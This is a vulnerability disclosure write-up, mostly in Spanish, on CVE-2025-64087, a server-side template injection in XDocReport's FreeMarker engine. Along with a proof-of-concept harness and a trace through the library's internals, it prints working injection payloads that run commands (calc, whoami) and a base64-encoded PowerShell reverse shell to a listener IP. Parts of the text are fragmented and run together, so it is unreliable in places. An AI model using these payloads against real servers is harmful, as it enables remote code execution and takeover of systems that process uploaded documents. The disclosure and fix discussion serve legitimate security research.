
CVE-2025-64087 (SSTI)
Resumen de la vulnerabilidad
Server-Side Template Injection (SSTI) es una vulnerabilidad de seguridad web que permite a un atacante inyectar código malicioso en plantillas utilizadas por sistemas de gestión de contenidos (CMS) y frameworks web, con el fin de ejecutar ataques remotos, robar información sensible o realizar actividades de intrusión en el sistema.
SSTI es una variante de las vulnerabilidades de inyección (como SQL Injection, XSS, etc.) en la que el atacante aprovecha el uso de sistemas de plantillas para implementar código malicioso de forma remota. Cuando un ataque SSTI se ejecuta con éxito, el atacante puede ejecutar su propio código en el lado del servidor, lo que le permite realizar ataques remotos, como recopilar información sensible, realizar actividades de intrusión en el sistema y acceder a recursos no autorizados.
La vulnerabilidad SSTI generalmente ocurre debido al uso de sistemas de plantillas inseguros, o por no verificar ni procesar los parámetros de entrada antes de insertarlos en las plantillas. Si un ataque SSTI tiene éxito, las consecuencias pueden ser graves y causar grandes pérdidas para la organización atacada.
Impacto empresarial
La vulnerabilidad SSTI puede causar varias consecuencias graves, incluyendo:
Ejecución de código malicioso: El atacante puede usar esta vulnerabilidad para ejecutar código malicioso en el servidor, permitiendo robar datos, realizar acciones ilegales en el sistema, e incluso tomar el control total del servidor.
Divulgación de información sensible: SSTI puede permitir al atacante leer, modificar o eliminar archivos en el servidor. Si estos archivos contienen información sensible, como cuentas y contraseñas, el atacante puede revelar fácilmente esta información.
Ataques de amenaza o phishing: El atacante puede usar SSTI para realizar ataques de amenaza o phishing, modificando el contenido del sitio web o agregando botones personalizados falsos. Si el usuario hace clic en estos botones, el atacante puede robar información del usuario o instalar software malicioso en su computadora.
Se encontró una vulnerabilidad de Server-Side Template Injection (SSTI) en OpenSAGRES XDocReport al procesar plantillas DOCX con el motor FreeMarker. Bajo ciertas configuraciones, las plantillas manipuladas pueden conducir a la ejecución remota de código (RCE).
El sitio web de gestión de personal permite a los usuarios cargar archivos de documentos .docx en el sistema. Durante el procesamiento, la aplicación utiliza el motor de plantillas FreeMarker (en el archivo FreemarkerTemplateEngine.java) para renderizar el contenido ${"freemarker.template.utility.Execute"?new()("whoami")} sin ningún mecanismo de control o filtrado de contenido de entrada. Esta vulnerabilidad permite a un atacante inyectar expresiones maliciosas en el archivo .docx (plantilla), lo que lleva a una ejecución remota de código (RCE) en el servidor y puede ser explotada para robar información o tomar el control del sistema.
fr.opensagres.xdocreport.template.freemarker — XDocReport (versiones 1.0.0 hasta 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java no se realiza ninguna verificación del contenido del archivo xdoc de entrada. El contenido de la plantilla se carga directamente y se pasa a process(context, writer, template) para ser procesado por el motor FreeMarker sin ningún mecanismo de sandboxing o restricción de directivas/expresiones. Como resultado, un atacante puede proporcionar una plantilla que contenga expresiones/comandos FreeMarker maliciosos, lo que lleva a una ejecución remota de código (RCE)..docx cuyo contenido interno contiene el siguiente payload:```
${"freemarker.template.utility.Execute"?new()("calc")}
2. Se puede ejecutar con éxito y abrir la aplicación calc

3. Similarmente, para obtener información del usuario que se está ejecutando en el sistema con payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx a través del procesamiento del motor de plantillas ha devuelto datos del sistema


6. Aumentar el impacto a RCE
- La máquina escucha es wsl con dirección IP `172.26.208.130`

- explotar con el siguiente payload:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx con xdocreportxdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java agregar el siguiente contenidoMi método de corrección aún permite renderizar objetos y propiedades normales como ${cuong.name} y solo bloquea las funciones incorporadas PELIGROSAS.
${'freemarker.template.utility.Execute'?new()('calc')} - BLOQUEADO por ALLOWS_NOTHING_RESOLVER${'java.lang.Runtime'?api.getRuntime()} - BLOQUEADO por setAPIBuiltinEnabled(false)?new() y ?api están bloqueadosRuta: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java
Cambios:
✅ Import agregado: java.util.regex.Pattern
✅ Método agregado validateTemplateSecurity(Reader reader) — Valida patrones peligrosos
✅ Actualizado processNoCache() — Se agregó validación antes de crear la plantilla
✅ Actualizado process(String templateName, …) — Se agregó validación a este método
Ruta: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java
Cambios:
${"freemarker.template.utility.Execute"?new()("whoami")}?new, java.lang.Runtime, java.lang.ProcessBuilder, etc.| Archivo | Tipo de Cambio | Propósito |
|---|---|---|
| FreemarkerTemplateEngine.java | Modificado | Protección SSTI agregada |
| FreemarkerTemplateEngineSecurityTestCase.java | Nuevo Archivo | Prueba la lógica de validación |
En la versión de parche 2.2.0 se ha activado el mecanismo de protección y se ha prevenido SSTI con éxito.
import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
- Librería a importar```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
A Punto de inicio (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");
→ source chính là file DOCX này — nếu file được người dùng upload/ghi, nội dung template bên trong (FreeMarker syntax) là dữ liệu không tin cậy.```
InputStream input = new FileInputStream(docxTemplate);
→ leer el contenido del archivo para reenviar a XDocReport.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
- loadReport(...) analiza (parse) el archivo DOCX, busca entradas/plantillas en el DOCX y crea un IXDocReport (internamente inicializará un objeto Template de FreeMarker o mantendrá un reader para la plantilla).
- El contenido de la plantilla en el archivo DOCX ahora está en el objeto report (todavía no se ha ejecutado).


zipInputStream.getNextEntry() itera sobre cada entrada (cada archivo) dentro del ZIP (.docx).
archive = new XDocArchive(...) — si aún no existe un archive, inicializa un objeto para organizar/registrar las entradas del documento.

En resumen: esta sección descomprime el contenido del DOCX en una estructura interna (XDocArchive) para que la parte posterior pueda acceder a los archivos secundarios (document.xml,...)```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
ITemplateEngine templateEngine, boolean cacheReport )
throws IOException, XDocReportException
{
initializeIfNeeded();
// 2) zip was loaded, create an instance of report
IXDocReport report = createReport( sourceStream );
// 3) Update the report id if need.
if ( StringUtils.isEmpty( reportId ) )
{
reportId = report.toString();
}
report.setId( reportId );
// 4) Search or set the template engine.
if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
{
// Template engine was not forced.
// Search template engine
String documentKind = report.getKind();
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
if ( templateEngine == null )
{
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
}
}
report.setTemplateEngine( templateEngine );
if ( cacheReport )
{
registerReport( report );
}
return report;
}
| Paso | Acción | Propósito |
|---|---|---|
| 1 | Leer archivo DOCX | Obtener la estructura del informe original |
| 2 | Crear IXDocReport | Representa la plantilla |
| 3 | Asignar ID | Gestión única |
| 4 | Seleccionar motor de plantillas | Para procesar expresiones (Freemarker/Velocity) |
| 5 | Cache si es necesario | Optimizar rendimiento |
| 6 | Devolver report | Usar para renderizar el archivo resultante |
En resumen, no hay un mecanismo de verificación SSTI en IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); sino que solo carga los archivos xml dentro del docx y devuelve un IXDocReport report listo para procesar (por ejemplo, renderizar, fusionar datos…).
en report.process(context, out);
Al profundizar en el interior de esta función, llama a preprocess(...) que analiza XML leyendo cada entrada XML, luego parsea el contenido XML y crea un BufferedDocument para luego escribirlo en un Writer (esta es la versión XML que ha sido preprocesada).
```java
public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata,
IDocumentFormatter formatter, Map<String, Object> sharedContext )
throws XDocReportException, IOException
{
try
{
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
BufferedDocumentContentHandler<?> contentHandler =
createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext );
xmlReader.setContentHandler( contentHandler );
xmlReader.parse( new InputSource( reader ) );
BufferedDocument document = contentHandler.getBufferedDocument();
if ( document != null )
{
document.save( writer );
// StringWriter s = new StringWriter();
// document.save( s );
// System.err.println( s );
return true;
}
return false;
}
catch ( SAXException e )
{
throw new XDocReportException( e );
}
}

luego salta a `processNoCache()` y llama a `getReader()`


La función `getReader()` se utiliza para agregar una envoltura de directiva de escape alrededor de toda la plantilla, asegurando que el contenido se procese de manera segura (escape HTML, evitar inyección).

Plantilla original:```xml
<w:p>
<w:t>Hello ${name}!</w:t>
</w:p>
Después de que getReader() procese:```xml [#-- Hello ${name}! [/#escape][#--]]>--]
ayuda al motor Freemarker a leer de forma más segura:
- Protección XML: Escapar caracteres especiales en XML
- Manejo seguro: Evitar errores al analizar la plantilla Freemarker
luego llama a `FMParser` para analizar la sintaxis de Freemarker

finalmente en `process()` llama a `environment.process();` y lector de datos```
public void process() throws TemplateException, IOException {
Object savedEnv = threadEnv.get();
threadEnv.set(this);
try {
// Cached values from a previous execution are possibly outdated.
clearCachedValues();
try {
doAutoImportsAndIncludes(this);
visit(getTemplate().getRootTreeNode());
// It's here as we must not flush if there was an exception.
if (getAutoFlush()) {
out.flush();
}
} finally {
// It's just to allow the GC to free memory...
clearCachedValues();
}
} finally {
threadEnv.set(savedEnv);
}
}
👉 Este es el paso más importante — la renderización real ocurre aquí.
getTemplate() devuelve la plantilla parseada (AST).
getRootTreeNode() es el nodo raíz del árbol sintáctico creado por FMParser durante el parseo.
visit() es la API principal de FreeMarker, utilizada para recorrer y renderizar cada elemento de la plantilla, y está definida en freemarker.core.Environment
Al encontrar TextBlock → escribe el texto en la salida.
Al encontrar Interpolation (ej. ${user.name}) → busca en dataModel, obtiene el valor, escribe en la salida.
Al encontrar #if, #list, #include, macro → procesa la lógica correspondiente.```java
void visit(TemplateElement element) throws IOException, TemplateException {
// ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync!
pushElement(element);
try {
TemplateElement[] templateElementsToVisit = element.accept(this);
if (templateElementsToVisit != null) {
for (TemplateElement el : templateElementsToVisit) {
if (el == null) {
break; // Skip unused trailing buffer capacity
}
visit(el);
}
}
} catch (TemplateException te) {
handleTemplateException(te);
} finally {
popElement();
}
// ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync!
}



se activa en entryName `word/document.xml`

luego salta a la función `accept()`
```java
TemplateElement[] accept(Environment env) throws TemplateException, IOException {
final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
final Writer out = env.getOut();
if (moOrStr instanceof String) {
final String s = (String) moOrStr;
if (autoEscape) {
markupOutputFormat.output(s, out);
} else {
out.write(s);
}
} else {
final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
final MarkupOutputFormat moOF = mo.getOutputFormat();
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
if (moOF == outputFormat) {
moOF.output(mo, out);
} else if (!outputFormat.isOutputFormatMixingAllowed()) {
final String srcPlainText;
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
srcPlainText = moOF.getSourcePlainText(mo);
if (srcPlainText == null) {
throw new _TemplateModelException(escapedExpression,
"The value to print is in ", new _DelayedToString(moOF),
" format, which differs from the current output format, ",
new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
}
if (markupOutputFormat != null) {
markupOutputFormat.output(srcPlainText, out);
} else {
out.write(srcPlainText);
}
} else if (markupOutputFormat != null) {
markupOutputFormat.outputForeign(mo, out);
} else {
moOF.output(mo, out);
}
}
return null;
}
```java
final TemplateModel eval(Environment env) throws TemplateException {
try {
return constantValue != null ? constantValue : _eval(env);
} catch (FlowControlException | TemplateException e) {
throw e;
} catch (Exception e) {
if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) {
throw new _MiscTemplateException(
this, e, env, "Expression has thrown an unchecked exception; see the cause exception.");
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new UndeclaredThrowableException(e);
}
}
}









El flujo de ejecución en la función `visit()` es el siguiente```
visit(Interpolation) // gọi accept(...)
└─ Interpolation.accept(env)
└─ calculateInterpolatedStringOrMarkup(env)
└─ expression.eval(env)
└─ (đến _eval) target.eval(env) // trả TemplateMethodModel (built-in new()/Execute)
└─ targetMethod.exec(arguments) ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
[User uploads DOCX template]
│
▼
┌──────────────────────────────────────────┐
│ XDocReportRegistry.loadReport(...) │
│ - Nhận InputStream (file .docx) │
│ - Xác định TemplateEngineKind=Freemarker│
│ - Gọi createReport(...) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FreemarkerTemplateEngine.loadTemplate() │
│ - Gọi new Template(templateName, Reader,│
│ Configuration) │
│ - => FMParser parse nội dung template │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FMParser(this, reader, config) │
│ - Đọc nội dung file (XML trong DOCX) │
│ - Phân tích cú pháp │
│ Tạo AST (cây cú pháp): │
│ ├─ TextBlock ("Hello") │
│ ├─ DollarVariable (${name}) │
│ └─ FunctionCall (${Runtime.exec(...)})│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment env = │
│ template.createProcessingEnvironment() │
│ env.process() │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment.process() │
│ - clearCachedValues() │
│ - doAutoImportsAndIncludes() │
│ - visit(getTemplate().getRootTreeNode())│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ visit(TemplateElement node) │
│ - node.accept(env) │
│ - Ghi kết quả ra writer (output stream) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Nếu node là ${...} │
│ ⇒ ExpressionEvaluator được gọi │
│ ⇒ eval() biểu thức bên trong ${} │
│ ⇒ Có thể truy cập method Java nếu chưa │
│ bị sandbox hoặc hạn chế │
│ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │
└──────────────────────────────────────────┘
│
▼
🚨 Kết quả: Server-Side Template Injection (SSTI)
## 🔍 **Resumen de los puntos clave explotables**
| Fase | Clase | Rol | Relación SSTI |
| ----------------------- | -------------------- | ---------------------- | ------------------------ |
| `loadReport()` | `XDocReportRegistry` | Carga de plantilla | Sin control de entrada |
| `getReader()` | `TemplateEngine` | Lectura de datos de plantilla | Puede contener payload |
| `FMParser` | `freemarker.core` | Analiza contenido | Variables `${}` analizadas |
| `Environment.process()` | `freemarker.core` | Renderizado de plantilla | Llama `visit()` por cada nodo |
| `visit()` / `eval()` | `freemarker.core` | Ejecución de expresión | **Punto SSTI / RCE** |
---
## Documentación
- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link